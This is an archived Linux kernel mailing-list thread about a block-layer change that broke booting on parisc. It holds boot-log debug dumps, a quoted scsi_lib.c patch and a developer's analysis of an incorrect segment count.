            2: 0 4096 238047 000000007febdd00                            =
      =20
            3: 0 4096 238048 000000007febdd00                            =
      =20
            4: 0 4096 238049 000000007febdd00                            =
      =20
            5: 0 4096 238050 000000007febdd00                            =
      =20
            6: 0 4096 238051 000000007febdd00                            =
      =20
            7: 0 4096 238052 000000007febdd00                            =
      =20
            8: 0 4096 238053 000000007febdd00                            =
      =20
            9: 0 4096 238054 000000007febdd00                            =
      =20
           10: 0 4096 238055 000000007febdd00                            =
      =20
           11: 0 4096 238056 000000007febdd00                            =
      =20
           12: 0 4096 238057 000000007febdd00                            =
      =20
           13: 0 4096 238058 000000007febdd00                            =
      =20
           14: 0 4096 238059 000000007febdd00                            =
      =20
           15: 0 4096 238060 000000007febdd00                            =
      =20
           16: 0 4096 238061 000000007febdd00                            =
      =20
           17: 0 4096 238062 000000007febdd00                            =
      =20
           18: 0 4096 238063 000000007febdd00                            =
      =20
           19: 0 4096 238065 000000007febdd00                            =
      =20
           20: 0 4096 238074 000000007febdd00                            =
      =20
           21: 0 4096 238075 000000007febdd00                            =
      =20
           22: 0 4096 238076 000000007febdd00                            =
      =20
           23: 0 4096 238077 000000007febdd00                            =
      =20
           24: 0 4096 238078 000000007febdd00                            =
      =20
timer_interrupt(CPU 1): delayed! cycles 45200E5B rem 423A5  next/now =
35B5DBE1950
[....] Starting MTA:blk_rq_map_sg: merge bug: 3 2, extra_len 0, =
dma_drain 0    =20
check_bvec: dump bvec for 000000007e53c5f0(f:24490000, t:1)              =
      =20
            0: 0 4096 238015 000000007e231dc0                            =
      =20
            1: 0 4096 238136 000000007e231dc0                            =
      =20
            2: 0 4096 238137 000000007e231dc0                            =
      =20
            3: 0 4096 238138 000000007e231dc0                            =
      =20
            4: 0 4096 238139 000000007e231dc0                            =
      =20
            5: 0 4096 238140 000000007e231dc0                            =
      =20
            6: 0 4096 238141 000000007e231dc0                            =
      =20
            7: 0 4096 238142 000000007e231dc0                            =
      =20
            8: 0 4096 238143 000000007e231dc0                            =
      =20
            9: 0 4096 238144 000000007e231dc0                            =
      =20
           10: 0 4096 238145 000000007e231dc0                            =
      =20
           11: 0 4096 238146 000000007e231dc0                            =
      =20
           12: 0 4096 238147 000000007e231dc0                            =
      =20
           13: 0 4096 238148 000000007e231dc0                            =
      =20
           14: 0 4096 238149 000000007e231dc0                            =
      =20
           15: 0 4096 238150 000000007e231dc0                            =
      =20
           16: 0 4096 238151 000000007e231dc0                            =
      =20
           17: 0 4096 238152 000000007e231dc0                            =
      =20
           18: 0 4096 238153 000000007e231dc0                            =
      =20
           19: 0 4096 238154 000000007e231dc0                            =
      =20
           20: 0 4096 238155 000000007e231dc0                            =
      =20
           21: 0 4096 238156 000000007e231dc0                            =
      =20
           22: 0 4096 238157 000000007e231dc0                            =
      =20
           23: 0 4096 238158 000000007e231dc0                            =
      =20
           24: 0 4096 238159 000000007e231dc0                            =
      =20
           25: 0 4096 238160 000000007e231dc0                            =
      =20
           26: 0 4096 238161 000000007e231dc0                            =
      =20
           27: 0 4096 238162 000000007e231dc0                            =
      =20
           28: 0 4096 238163 000000007e231dc0                            =
      =20
           29: 0 4096 238164 000000007e231dc0                            =
      =20
           30: 0 4096 238165 000000007e231dc0                            =
      =20
           31: 0 4096 238166 000000007e231dc0                            =
      =20
timer_interrupt(CPU 1): delayed! cycles 56A22B4B rem 63A9B5  next/now =
361B2FD290
blk_rq_map_sg: merge bug: 16 15, extra_len 0, dma_drain 0                =
      =20
check_bvec: dump bvec for 000000007e53c5f0(f:24490000, t:1)              =
      =20
            0: 0 4096 238228 000000007e231dc0                            =
      =20
            1: 0 4096 238227 000000007e231dc0                            =
      =20
            2: 0 4096 238226 000000007e231dc0                            =
      =20
            3: 0 4096 238225 000000007e231dc0                            =
      =20
            4: 0 4096 238224 000000007e231dc0                            =
      =20
            5: 0 4096 238223 000000007e231dc0                            =
      =20
            6: 0 4096 238222 000000007e231dc0                            =
      =20
            7: 0 4096 238221 000000007e231dc0                            =
      =20
            8: 0 4096 238220 000000007e231dc0                            =
      =20
            9: 0 4096 238219 000000007e231dc0                            =
      =20
           10: 0 4096 238218 000000007e231dc0                            =
      =20
           11: 0 4096 238217 000000007e231dc0                            =
      =20
           12: 0 4096 238216 000000007e231dc0                            =
      =20
           13: 0 4096 238215 000000007e231dc0                            =
      =20
           14: 0 4096 238229 000000007e231dc0                            =
      =20
           15: 0 4096 238230 000000007e231dc0                            =
      =20
           16: 0 4096 238231 000000007e231dc0                            =
      =20
           17: 0 4096 238232 000000007e231dc0                            =
      =20
           18: 0 4096 238233 000000007e231dc0                            =
      =20
           19: 0 4096 238234 000000007e231dc0                            =
      =20
           20: 0 4096 238235 000000007e231dc0                            =
      =20
           21: 0 4096 238236 000000007e231dc0                            =
      =20
           22: 0 4096 238237 000000007e231dc0                            =
      =20
           23: 0 4096 238238 000000007e231dc0                            =
      =20
           24: 0 4096 238239 000000007e231dc0                            =
      =20
           25: 0 4096 238240 000000007e231dc0                            =
      =20
           26: 0 4096 238241 000000007e231dc0                            =
      =20
           27: 0 4096 238242 000000007e231dc0                            =
      =20
           28: 0 4096 238243 000000007e231dc0                            =
      =20
           29: 0 4096 238244 000000007e231dc0                            =
      =20
           30: 0 4096 238245 000000007e231dc0                            =
      =20
           31: 0 4096 238246 000000007e231dc0                            =
      =20
timer_interrupt(CPU 1): delayed! cycles 56AEC72B rem 570DD5  next/now =
36795CB590
blk_rq_map_sg: merge bug: 2 1, extra_len 0, dma_drain 0                  =
      =20
check_bvec: dump bvec for 000000007e53cca8(f:24490000, t:1)              =
      =20
            0: 0 4096 236910 000000007e231940                            =
      =20
            1: 0 4096 236911 000000007e231940                            =
      =20
            2: 0 4096 236912 000000007e231940                            =
      =20
            3: 0 4096 236913 000000007e231940                            =
      =20
            4: 0 4096 236914 000000007e231940                            =
      =20
            5: 0 4096 236915 000000007e231940                            =
      =20
            6: 0 4096 236916 000000007e231940                            =
      =20
            7: 0 4096 236917 000000007e231940                            =
      =20
            8: 0 4096 236918 000000007e231940                            =
      =20
            9: 0 4096 236919 000000007e231940                            =
      =20
           10: 0 4096 236920 000000007e231940                            =
      =20
           11: 0 4096 236921 000000007e231940                            =
      =20
           12: 0 4096 236922 000000007e231940                            =
      =20
           13: 0 4096 236923 000000007e231940                            =
      =20
           14: 0 4096 236924 000000007e231940                            =
      =20
           15: 0 4096 236925 000000007e231940                            =
      =20
           16: 0 4096 236926 000000007e231940                            =
      =20
           17: 0 4096 236927 000000007e231940                            =
      =20
           18: 0 4096 236928 000000007e231940                            =
      =20
           19: 0 4096 236929 000000007e231940                            =
      =20
           20: 0 4096 236930 000000007e231940                            =
      =20
           21: 0 4096 236931 000000007e231940                            =
      =20
           22: 0 4096 236932 000000007e231940                            =
      =20
           23: 0 4096 236933 000000007e231940                            =
      =20
           24: 0 4096 236934 000000007e231940                            =
      =20
           25: 0 4096 236935 000000007e231940                            =
      =20
           26: 0 4096 236936 000000007e231940                            =
      =20
           27: 0 4096 236937 000000007e231940                            =
      =20
           28: 0 4096 236938 000000007e231940                            =
      =20
           29: 0 4096 236939 000000007e231940                            =
      =20
           30: 0 4096 236940 000000007e231940                            =
      =20
           31: 0 4096 236941 000000007e231940                            =
      =20
timer_interrupt(CPU 0): delayed! cycles 56704D66 rem 95879A  next/now =
37C98E829B
blk_rq_map_sg: merge bug: 2 1, extra_len 0, dma_drain 0                  =
      =20
check_bvec: dump bvec for 000000007e6e6050(f:24490000, t:1)              =
      =20
            0: 0 4096 237005 000000007c094640                            =
      =20
            1: 0 4096 237006 000000007c094640                            =
      =20
            2: 0 4096 237007 000000007c094640                            =
      =20
            3: 0 4096 237008 000000007c094640                            =
      =20
            4: 0 4096 237009 000000007c094640                            =
      =20
            5: 0 4096 237010 000000007c094640                            =
      =20
            6: 0 4096 237011 000000007c094640                            =
      =20
            7: 0 4096 237012 000000007c094640                            =
      =20
            8: 0 4096 237013 000000007c094640                            =
      =20
            9: 0 4096 237014 000000007c094640                            =
      =20
           10: 0 4096 237015 000000007c094640                            =
      =20
           11: 0 4096 237016 000000007c094640                            =
      =20
           12: 0 4096 237017 000000007c094640                            =
      =20
           13: 0 4096 237018 000000007c094640                            =
      =20
           14: 0 4096 237019 000000007c094640                            =
      =20
           15: 0 4096 237020 000000007c094640                            =
      =20
           16: 0 4096 237021 000000007c094640                            =
      =20
           17: 0 4096 237022 000000007c094640                            =
      =20
blk_rq_map_sg: merge bug: 2 1, extra_len 0, dma_drain 0                  =
      =20
check_bvec: dump bvec for 000000007e2908e0(f:24490000, t:1)              =
      =20
            0: 0 4096 237122 000000007c094280                            =
      =20
            1: 0 4096 237123 000000007c094280                            =
      =20
            2: 0 4096 237124 000000007c094280                            =
      =20
            3: 0 4096 237125 000000007c094280                            =
      =20
            4: 0 4096 237126 000000007c094280                            =
      =20
            5: 0 4096 237127 000000007c094280                            =
      =20
            6: 0 4096 237128 000000007c094280                            =
      =20
            7: 0 4096 237129 000000007c094280                            =
      =20
            8: 0 4096 237130 000000007c094280                            =
      =20
            9: 0 4096 237131 000000007c094280                            =
      =20
           10: 0 4096 237132 000000007c094280                            =
      =20
           11: 0 4096 237133 000000007c094280                            =
      =20
           12: 0 4096 237134 000000007c094280                            =
      =20
           13: 0 4096 237135 000000007c094280                            =
      =20
           14: 0 4096 237136 000000007c094280                            =
      =20
           15: 0 4096 237137 000000007c094280                            =
      =20
           16: 0 4096 237138 000000007c094280                            =
      =20
           17: 0 4096 237139 000000007c094280                            =
      =20
           18: 0 4096 237140 000000007c094280                            =
      =20
           19: 0 4096 237141 000000007c094280                            =
      =20
blk_rq_map_sg: merge bug: 2 1, extra_len 0, dma_drain 0                  =
      =20
check_bvec: dump bvec for 000000007e6e61a8(f:24490000, t:1)              =
      =20
            0: 0 4096 237166 000000007febd640                            =
      =20
            1: 0 4096 237167 000000007febd640                            =
      =20
            2: 0 4096 237168 000000007febd640                            =
      =20
            3: 0 4096 237169 000000007febd640                            =
      =20
            4: 0 4096 237170 000000007febd640                            =
      =20
            5: 0 4096 237171 000000007febd640                            =
      =20
            6: 0 4096 237172 000000007febd640                            =
      =20
            7: 0 4096 237173 000000007febd640                            =
      =20
            8: 0 4096 237174 000000007febd640                            =
      =20
            9: 0 4096 237175 000000007febd640                            =
      =20
           10: 0 4096 237176 000000007febd640                            =
      =20
           11: 0 4096 237177 000000007febd640                            =
      =20
           12: 0 4096 237178 000000007febd640                            =
      =20
           13: 0 4096 237179 000000007febd640                            =
      =20
           14: 0 4096 237180 000000007febd640                            =
      =20
           15: 0 4096 237181 000000007febd640                            =
      =20
           16: 0 4096 237182 000000007febd640                            =
      =20
           17: 0 4096 237183 000000007febd640                            =
      =20
           18: 0 4096 237184 000000007febd640                            =
      =20
           19: 0 4096 237185 000000007febd640                            =
      =20
blk_rq_map_sg: merge bug: 2 1, extra_len 0, dma_drain 0                  =
      =20
check_bvec: dump bvec for 000000007e290b90(f:24490000, t:1)              =
      =20
            0: 0 4096 237223 000000007c094580                            =
      =20
            1: 0 4096 237224 000000007c094580                            =
      =20
            2: 0 4096 237225 000000007c094580                            =
      =20
            3: 0 4096 237226 000000007c094580                            =
      =20
            4: 0 4096 237227 000000007c094580                            =
      =20
            5: 0 4096 237228 000000007c094580                            =
      =20
            6: 0 4096 237229 000000007c094580                            =
      =20
            7: 0 4096 237230 000000007c094580                            =
      =20
            8: 0 4096 237231 000000007c094580                            =
      =20
            9: 0 4096 237232 000000007c094580                            =
      =20
           10: 0 4096 237233 000000007c094580                            =
      =20
           11: 0 4096 237234 000000007c094580                            =
      =20
           12: 0 4096 237235 000000007c094580                            =
      =20
           13: 0 4096 237236 000000007c094580                            =
      =20
           14: 0 4096 237237 000000007c094580                            =
      =20
           15: 0 4096 237238 000000007c094580                            =
      =20
           16: 0 4096 237239 000000007c094580                            =
      =20
           17: 0 4096 237240 000000007c094580                            =
      =20
           18: 0 4096 237241 000000007c094580                            =
      =20
           19: 0 4096 237242 000000007c094580                            =
      =20
           20: 0 4096 237243 000000007c094580                            =
      =20
           21: 0 4096 237244 000000007c094580                            =
      =20
           22: 0 4096 237245 000000007c094580                            =
      =20
timer_interrupt(CPU 0): delayed! cycles 4028F032 rem 368DCE  next/now =
38BD56F517
blk_rq_map_sg: merge bug: 3 2, extra_len 0, dma_drain 0                  =
      =20
check_bvec: dump bvec for 000000007e290b90(f:24490000, t:1)              =
      =20
            0: 0 4096 237246 000000007c094580                            =
      =20
            1: 0 4096 237247 000000007c094580                            =
      =20
            2: 0 4096 237248 000000007c094580                            =
      =20
            3: 0 4096 237249 000000007c094580                            =
      =20
            4: 0 4096 237250 000000007c094580                            =
      =20
            5: 0 4096 237251 000000007c094580                            =
      =20
            6: 0 4096 237252 000000007c094580                            =
      =20
            7: 0 4096 237253 000000007c094580                            =
      =20
            8: 0 4096 237254 000000007c094580                            =
      =20
            9: 0 4096 237255 000000007c094580                            =
      =20
           10: 0 4096 237256 000000007c094580                            =
      =20
           11: 0 4096 237257 000000007c094580                            =
      =20
           12: 0 4096 237258 000000007c094580                            =
      =20
           13: 0 4096 237259 000000007c094580                            =
      =20
           14: 0 4096 237260 000000007c094580                            =
      =20
           15: 0 4096 237261 000000007c094580                            =
      =20
           16: 0 4096 237262 000000007c094580                            =
      =20
           17: 0 4096 237263 000000007c094580                            =
      =20
           18: 0 4096 237264 000000007c094580                            =
      =20
           19: 0 4096 237265 000000007c094580                            =
      =20
           20: 0 4096 237266 000000007c094580                            =
      =20
           21: 0 4096 237267 000000007c094580                            =
      =20
           22: 0 4096 237268 000000007c094580                            =
      =20
           23: 0 4096 237269 000000007c094580                            =
      =20
           24: 0 4096 237270 000000007c094580                            =
      =20
           25: 0 4096 237271 000000007c094580                            =
      =20
           26: 0 4096 237272 000000007c094580                            =
      =20
           27: 0 4096 237273 000000007c094580                            =
      =20
           28: 0 4096 237274 000000007c094580                            =
      =20
           29: 0 4096 237276 000000007c094580                            =
      =20
           30: 0 4096 237277 000000007c094580                            =
      =20
           31: 0 4096 237278 000000007c094580                            =
      =20
timer_interrupt(CPU 0): delayed! cycles 569C5AE0 rem 697A20  next/now =
391D4D9B95
blk_rq_map_sg: merge bug: 2 1, extra_len 0, dma_drain 0                  =
      =20
check_bvec: dump bvec for 000000007e6e61a8(f:24490000, t:1)              =
      =20
            0: 0 4096 237311 000000007febd640                            =
      =20
            1: 0 4096 237312 000000007febd640                            =
      =20
            2: 0 4096 237313 000000007febd640                            =
      =20
            3: 0 4096 237314 000000007febd640                            =
      =20
            4: 0 4096 237315 000000007febd640                            =
      =20
            5: 0 4096 237316 000000007febd640                            =
      =20
            6: 0 4096 237317 000000007febd640                            =
      =20
            7: 0 4096 237318 000000007febd640                            =
      =20
            8: 0 4096 237319 000000007febd640                            =
      =20
            9: 0 4096 237320 000000007febd640                            =
      =20
           10: 0 4096 237321 000000007febd640                            =
      =20
           11: 0 4096 237322 000000007febd640                            =
      =20
           12: 0 4096 237323 000000007febd640                            =
      =20
           13: 0 4096 237324 000000007febd640                            =
      =20
           14: 0 4096 237325 000000007febd640                            =
      =20
           15: 0 4096 237326 000000007febd640                            =
      =20
           16: 0 4096 237327 000000007febd640                            =
      =20
           17: 0 4096 237328 000000007febd640                            =
      =20
           18: 0 4096 237329 000000007febd640                            =
      =20
           19: 0 4096 237330 000000007febd640                            =
      =20
           20: 0 4096 237331 000000007febd640                            =
      =20
           21: 0 4096 237332 000000007febd640                            =
      =20
           22: 0 4096 237333 000000007febd640                            =
      =20
           23: 0 4096 237334 000000007febd640                            =
      =20
           24: 0 4096 237335 000000007febd640                            =
      =20
           25: 0 4096 237336 000000007febd640                            =
      =20
           26: 0 4096 237337 000000007febd640                            =
      =20
           27: 0 4096 237338 000000007febd640                            =
      =20
           28: 0 4096 237339 000000007febd640                            =
      =20
           29: 0 4096 237340 000000007febd640                            =
      =20
           30: 0 4096 237341 000000007febd640                            =
      =20
           31: 0 4096 237342 000000007febd640                            =
      =20
timer_interrupt(CPU 0): delayed! cycles 56C3D525 rem 41FFDB  next/now =
397C13151A
 exim4. ok                                                               =
      =20
[....] Starting periodic command scheduler: cron. ok                     =
      =20
[....] Starting system message bus: dbus. ok                             =
      =20
[....] Starting NTP server: ntpd. ok                                     =
      =20
[....] Starting OpenBSD Secure Shell server: sshd. ok                    =
      =20
                                                                         =
      =20
Debian GNU/Linux stretch/sid atlas ttyS0                                 =
      =20
                                                                         =
      =20
atlas login:=20

--Apple-Mail-15--839570894--
--
To unsubscribe from this list: send the line "unsubscribe linux-scsi" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ming Lei <tom.leiming@gmail.com>
Newsgroups: gmane.linux.scsi,gmane.linux.ports.parisc
Subject: Re: [BUG] "block: make generic_make_request handle arbitrarily sized
 bios" breaks boot on parisc-linux
Date: Thu, 25 Feb 2016 11:38:09 +0800
Lines: 103
Approved: news@gmane.org
Message-ID: <CACVXFVM5nLDFGcoo173sK4E3TC4k7c+=Fvin0eAxStAdwx8yXA@mail.gmail.com>
References: <227C05EC-5A1C-4FAF-89D8-4A45AF600EC4@bell.net>
	<CACVXFVOnff1sFfMH+zsoypuYwM4PokJkHeKhbxJYDDH6ZtVScg@mail.gmail.com>
	<56CE2266.6010909@gmx.de>
	<FC3214D0-6247-449F-8372-14BC4D0C3887@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1456371504 17530 80.91.229.3 (25 Feb 2016 03:38:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 25 Feb 2016 03:38:24 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-block@vger.kernel.org,
	Linux SCSI List <linux-scsi@vger.kernel.org>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	linux-parisc List <linux-parisc@vger.kernel.org>,
	Kent Overstreet <kent.overstreet@gmail.com>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-scsi-owner@vger.kernel.org Thu Feb 25 04:38:16 2016
Return-path: <linux-scsi-owner@vger.kernel.org>
Envelope-to: lnx-linux-scsi@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-scsi-owner@vger.kernel.org>)
	id 1aYmkm-0003t1-Tk
	for lnx-linux-scsi@plane.gmane.org; Thu, 25 Feb 2016 04:38:13 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757458AbcBYDiM (ORCPT <rfc822;lnx-linux-scsi@m.gmane.org>);
	Wed, 24 Feb 2016 22:38:12 -0500
Original-Received: from mail-yw0-f181.google.com ([209.85.161.181]:35988 "EHLO
	mail-yw0-f181.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751837AbcBYDiK (ORCPT
	<rfc822;linux-scsi@vger.kernel.org>); Wed, 24 Feb 2016 22:38:10 -0500
Original-Received: by mail-yw0-f181.google.com with SMTP id e63so33000959ywc.3;
        Wed, 24 Feb 2016 19:38:09 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type;
        bh=cLpZM4CMRi9vEbrP4vmD2b+6jt/Wkr+5jCt0+bkWKqY=;
        b=ia1Wl+jsdYHhEXsfOUs7v47IAxlOkFrZonsQtMwSE3C/aJPOI6c15IkWWcRpvX77PK
         ZvbRBRj9GJRMhtSp+YOzZT3xT3XVMLnUBq4jezAERCtJAP+AMKYWnrX8W4sAo/y6uCG8
         /MAKYDSdbDm7e6ZMJmtpVn2UwvxedGPsfe98E8eg8PhVU8E1/E5TZzIZYdJbVP/pzVTQ
         Px55NzahvTte0doaUOrR4RQ+A2lD/pXPUWy8zjAdRalVXtZCC11O23qysDtF/9mkTRhQ
         NiByEYlT96hOKFUjT5858stVm9aZiP65pUnEv4AYe1fWM3n/uRYocczR8+2yX0bsinKa
         nxGw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:in-reply-to:references:date
         :message-id:subject:from:to:cc:content-type;
        bh=cLpZM4CMRi9vEbrP4vmD2b+6jt/Wkr+5jCt0+bkWKqY=;
        b=lkgYJCAN7X6qhRgd2yEwr4tyRsYRot4pn5MC+Lmie3i+tqBAx5ku5C0vE/6rLHGdQ7
         Ta4Uo1BdFkSgYF+1rRjDjG1GaZRt+H/9lpfzaeH1GDRAvMVw74hXIHNYXpGdJDN8tL2A
         QWl2gTomCB28ywqDPd/IO8tc0Ve7f7cbbI9uAMWbu29pBYvDzcMKm0eSVvgdnFqX1d4Z
         Q1KG2Lh2F52ucnWNCJ7TRrHrmd96Hb2PoEqv68Lb5ikRETt8laA7J66YxaLbuVYhkMfs
         30i5Esi4/FXTllijghCZfFbKbSj7tUwGWRFLgAWb/NF0ssYDnUVid3Xp+GGN7SCNHPdK
         IZ8w==
X-Gm-Message-State: AG10YOSldlJAqbmnLEpErIGYqBFbSyMWcp5V5pi3QzxLFZ/UINZ4nxXVjV3oPHvpIDiE8Hipf10a10yENf2wIw==
X-Received: by 10.13.241.199 with SMTP id a190mr24136921ywf.47.1456371489076;
 Wed, 24 Feb 2016 19:38:09 -0800 (PST)
Original-Received: by 10.37.25.134 with HTTP; Wed, 24 Feb 2016 19:38:09 -0800 (PST)
In-Reply-To: <FC3214D0-6247-449F-8372-14BC4D0C3887@bell.net>
Original-Sender: linux-scsi-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-scsi.vger.kernel.org>
X-Mailing-List: linux-scsi@vger.kernel.org
Xref: news.gmane.org gmane.linux.scsi:111237 gmane.linux.ports.parisc:26496
Archived-At: <http://permalink.gmane.org/gmane.linux.scsi/111237>

On Thu, Feb 25, 2016 at 7:28 AM, John David Anglin <dave.anglin@bell.net> wrote:
> On 2016-02-24, at 4:36 PM, Helge Deller wrote:
>
>> Maybe Dave has more luck, otherwise I'll continue to try to get some info.
>
> I tried your patch on the commit in linux-block which first failed to boot.  As with Helge, the
> system crashed and no useful data was output on console.  I then applied following patch
> to give some extra segments and tired again:
>
> diff --git a/drivers/scsi/scsi_lib.c b/drivers/scsi/scsi_lib.c
> index b1a2631..b421f03 100644
> --- a/drivers/scsi/scsi_lib.c
> +++ b/drivers/scsi/scsi_lib.c
> @@ -595,6 +595,11 @@ static int scsi_alloc_sgtable(struct scsi_data_buffer *sdb, int nents, bool mq)
>
>         BUG_ON(!nents);
>
> +       /* Provide extra entries in case of split.  */
> +       nents += 8;
> +       if (nents > SCSI_MAX_SG_SEGMENTS)
> +               nents = SCSI_MAX_SG_SEGMENTS;
> +

Yeah, this is needed for sake of safety.

>         if (mq) {
>                 if (nents <= SCSI_MAX_SG_SEGMENTS) {
>                         sdb->table.nents = nents;
>
> The attached file shows the crash in first boot.  The second boot was successful and various output
> was generated by your check code.

>From the following log(just select one simple, and looks all are similar) in
2nd boot, the bi_phys_segments is figured out as one by block core
, which is wrong because the max segment size is 64k according to
your investigation in the below link, but the whole req/bio is 192k(4k*48).

    http://www.spinics.net/lists/linux-parisc/msg06749.html

Looks weird, it shouldn't have happened because blk_bio_segment_split()
does respect the max segment size limit.

BTW, what is the scsi driver for the device?

blk_rq_map_sg: merge bug: 3 1, extra_len 0, dma_drain 0
check_bvec: dump bvec for 000000007e53c5f0(f:24490000, t:1)
            0: 0 4096 245852 000000007e2c4c40
            1: 0 4096 245853 000000007e2c4c40
            2: 0 4096 245854 000000007e2c4c40
            3: 0 4096 245855 000000007e2c4c40
            4: 0 4096 245856 000000007e2c4c40
            5: 0 4096 245857 000000007e2c4c40
            6: 0 4096 245858 000000007e2c4c40
            7: 0 4096 245859 000000007e2c4c40
            8: 0 4096 245860 000000007e2c4c40
            9: 0 4096 245861 000000007e2c4c40
           10: 0 4096 245862 000000007e2c4c40
           11: 0 4096 245863 000000007e2c4c40
           12: 0 4096 245864 000000007e2c4c40
           13: 0 4096 245865 000000007e2c4c40
           14: 0 4096 245866 000000007e2c4c40
           15: 0 4096 245867 000000007e2c4c40
           16: 0 4096 245868 000000007e2c4c40
           17: 0 4096 245869 000000007e2c4c40
           18: 0 4096 245870 000000007e2c4c40
           19: 0 4096 245871 000000007e2c4c40
           20: 0 4096 245872 000000007e2c4c40
           21: 0 4096 245873 000000007e2c4c40
           22: 0 4096 245874 000000007e2c4c40
           23: 0 4096 245875 000000007e2c4c40
           24: 0 4096 245876 000000007e2c4c40
           25: 0 4096 245877 000000007e2c4c40
           26: 0 4096 245878 000000007e2c4c40
           27: 0 4096 245879 000000007e2c4c40
           28: 0 4096 245880 000000007e2c4c40
           29: 0 4096 245881 000000007e2c4c40
           30: 0 4096 245882 000000007e2c4c40
           31: 0 4096 245883 000000007e2c4c40
           32: 0 4096 245884 000000007e2c4c40
           33: 0 4096 245885 000000007e2c4c40
           34: 0 4096 245886 000000007e2c4c40
           35: 0 4096 245887 000000007e2c4c40
           36: 0 4096 245888 000000007e2c4c40
           37: 0 4096 245889 000000007e2c4c40
           38: 0 4096 245890 000000007e2c4c40
           39: 0 4096 245891 000000007e2c4c40
           40: 0 4096 245892 000000007e2c4c40
           41: 0 4096 245893 000000007e2c4c40
           42: 0 4096 245894 000000007e2c4c40
           43: 0 4096 245895 000000007e2c4c40
           44: 0 4096 245896 000000007e2c4c40
           45: 0 4096 245897 000000007e2c4c40
           46: 0 4096 245898 000000007e2c4c40
           47: 0 4096 245899 000000007e2c4c40


Thanks,
Ming Lei
--
To unsubscribe from this list: send the line "unsubscribe linux-scsi" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Helge Deller" <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.scsi
Subject: Aw: Re: [BUG] "block: make generic_make_request handle arbitrarily
 sized bios" breaks boot on parisc-linux
Date: Thu, 25 Feb 2016 11:10:30 +0100
Lines: 55
Approved: news@gmane.org
Message-ID: <trinity-d82afa53-277b-4760-a3fb-625a9b72ee88-1456395030027@3capp-gmx-bs13>
References: <227C05EC-5A1C-4FAF-89D8-4A45AF600EC4@bell.net>
 <CACVXFVOnff1sFfMH+zsoypuYwM4PokJkHeKhbxJYDDH6ZtVScg@mail.gmail.com>
 <56CE2266.6010909@gmx.de> <FC3214D0-6247-449F-8372-14BC4D0C3887@bell.net>,
 <CACVXFVM5nLDFGcoo173sK4E3TC4k7c+=Fvin0eAxStAdwx8yXA@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1456395070 7750 80.91.229.3 (25 Feb 2016 10:11:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 25 Feb 2016 10:11:10 +0000 (UTC)
Cc: "John David Anglin" <dave.anglin@bell.net>,
	linux-block@vger.kernel.org,
	"Linux SCSI List" <linux-scsi@vger.kernel.org>,
	"James Bottomley" <James.Bottomley@hansenpartnership.com>,
	"linux-parisc List" <linux-parisc@vger.kernel.org>,
	"Kent Overstreet" <kent.overstreet@gmail.com>
To: "Ming Lei" <tom.leiming@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Feb 25 11:11:04 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aYsst-0001hT-1v
	for glpp-linux-parisc@plane.gmane.org; Thu, 25 Feb 2016 11:10:59 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1760128AbcBYKKt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 25 Feb 2016 05:10:49 -0500
Original-Received: from mout.gmx.net ([212.227.15.15]:54658 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1760604AbcBYKKn (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 25 Feb 2016 05:10:43 -0500
Original-Received: from [155.56.68.217] by 3capp-gmx-bs13.server.lan (via HTTP); Thu,
 25 Feb 2016 11:10:30 +0100
Importance: normal
Sensitivity: Normal
In-Reply-To: <CACVXFVM5nLDFGcoo173sK4E3TC4k7c+=Fvin0eAxStAdwx8yXA@mail.gmail.com>
X-UI-Message-Type: mail
X-Priority: 3
X-Provags-ID: V03:K0:7w7KaEDQqByyxqj7TIKKVQywNm/McdzDL4ksroLGlcW
 pAPtsxBUxIzspWHg424Hu7jgJehldavdv07H1o1CILvYTlOXS1
 Gz6XMXteubQ13W59sEEHIGsp1ZV72cwu64Y0fW5M2fpAMZhk6+
 DkS08p/CvKLsYzS+mf3O4Idw7ATEe5qPMserqwFhdqGkePxTGu
 LBJSY4bJ5ncUk8FJIQ5WiDR7dm1BUhwMyKLi+sAhGVmXI902KZ
 lWFd/7XmRXiBO0XwKlN6rIavHk0yKg3P1r9Z0nXuhuVUY0+7eo ZBpvBg=
